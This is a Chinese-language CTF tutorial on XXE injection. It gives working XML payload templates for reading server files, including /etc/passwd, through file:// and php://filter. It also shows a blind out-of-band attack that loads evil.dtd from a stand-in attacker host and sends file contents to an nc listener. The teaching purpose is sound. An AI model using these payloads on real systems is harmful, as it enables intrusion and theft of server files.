一、XXE 漏洞簡介
XXE (XML External Entity) 漏洞允許攻擊者通過構造惡意的 XML 輸入,強迫服務器的 XML 解析器執行非預期的操作。在 CTF 場景中,最常見的利用方式是讓解析器讀取服務器上的敏感文件,并將其內容返回給攻擊者。
二、核心攻擊載荷 (Payloads)
根據靶機是否在響應中直接返回注入內容,攻擊方式可分為“有回顯”和“無回顯”兩種。
1. 有回顯的 XXE (In-Band XXE)
這是最直接的情況,服務器會將讀取到的文件內容顯示在返回頁面上。
基礎文件讀取
通過定義一個外部實體來加載本地文件,并在 XML 的某個字段中引用該實體。
Payload 模板:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ctf [
??<!ENTITY xxe SYSTEM "file:///path/to/your/flag">
]>
<root>
????<data>&xxe;</data>
</root>
關鍵點:
<!ENTITY xxe SYSTEM "file:///path/to/your/flag">: 定義一個名為 xxe 的實體,其內容來自指定的本地文件路徑。
&xxe;: 在 XML 數據中引用該實體,解析器會將其替換為文件內容。
使用 PHP Filter 繞過
當文件內容包含特殊字符(如 <、>)導致 XML 解析失敗,或靶機后端為 PHP 時,可以使用 php://filter 將文件內容進行 Base64 編碼后輸出,避免解析錯誤。
Payload 模板:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ctf [
??<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/path/to/your/flag">
]>
<root>
????<data>&xxe;</data>
</root>
使用方法:
發送 Payload。
將返回的 Base64 字符串進行解碼,即可獲得原始 Flag。
2. 無回顯的 XXE (Blind XXE OOB)
當服務器不返回任何注入相關的數據時,需要采用帶外攻擊(Out-of-Band),讓服務器主動將數據發送到攻擊者控制的公網服務器上。
攻擊流程:
準備公網服務器: 準備一臺有公網 IP 的服務器,并監聽一個端口(例如 nc -lvp 8888)。
構造兩部分 Payload:
a. 發送給靶機的 Payload:
此 Payload 定義了兩個參數實體,一個用于讀取文件,另一個用于加載位于攻擊者服務器上的惡意 DTD 文件。
<?xml version="1.0"?>
<!DOCTYPE ctf [
????<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
????<!ENTITY % dtd SYSTEM "http://your-attacker-server.com/evil.dtd">
????%dtd;
]>
<root><data>blind</data></root>
b. 在攻擊者服務器上創建 evil.dtd 文件:
這個 DTD 文件會構造一個最終請求,將之前讀取并編碼好的文件內容(%file)作為參數,發送到攻擊者服務器的監聽端口。
<!ENTITY % send "<!ENTITY % exfil SYSTEM 'http://your-attacker-server.com:8888/?data=%file;'>">
%send;
接收 Flag: 在攻擊者服務器的監聽端口上,會收到一個包含 Base64 編碼 Flag 的 HTTP 請求。
深度解析:為什么需要“兩步走”的攻擊?
這是一個關鍵問題。直接在同一個 DTD 塊中完成“讀取文件”和“發送數據”兩個操作是行不通的,因為這違反了 XML 的規范。
限制: XML 解析器在解析一個 DTD 塊時,不允許在其內部的一個實體定義中,引用同一個 DTD 塊中剛剛定義的另一個參數實體來構造外部請求。這是一種安全限制,防止了過于復雜的嵌套操作。
繞過方法: 兩步走的攻擊巧妙地繞過了這個限制。
第一步(主 Payload): 讓靶機先執行第一個任務——讀取文件并存入參數實體 %file。然后,讓它去請求外部的 evil.dtd 文件。
第二步(evil.dtd): 當靶機開始解析 evil.dtd 時,它進入了一個全新的解析上下文。在這個新環境中,%file 實體是一個已經存在、已知的值,而不是正在定義的。因此,evil.dtd 中的指令可以自由地使用 %file 的內容來構造新的 HTTP 請求,從而將數據發送出來。
簡單來說,通過加載外部 DTD,我們欺騙了解析器,創造了一個新的執行環境,使得原本被禁止的操作變得可行。
三、CTF 解題通用策略
漏洞測試: 首先使用一個已知存在的文件(如 file:///etc/passwd)來確認 XXE 漏洞是否存在以及是否有回顯。
路徑猜測: 根據題目提示和常見配置,猜測 Flag 文件的絕對路徑(如 /flag, /flag.txt, /root/flag.txt 等)。
優先直接讀取: 總是先嘗試最簡單的有回顯文件讀取方法。
編碼繞過: 如果直接讀取失敗,嘗試使用 php://filter 進行 Base64 編碼。
盲打帶外: 如果確認無回顯,采用 Blind XXE OOB 策略。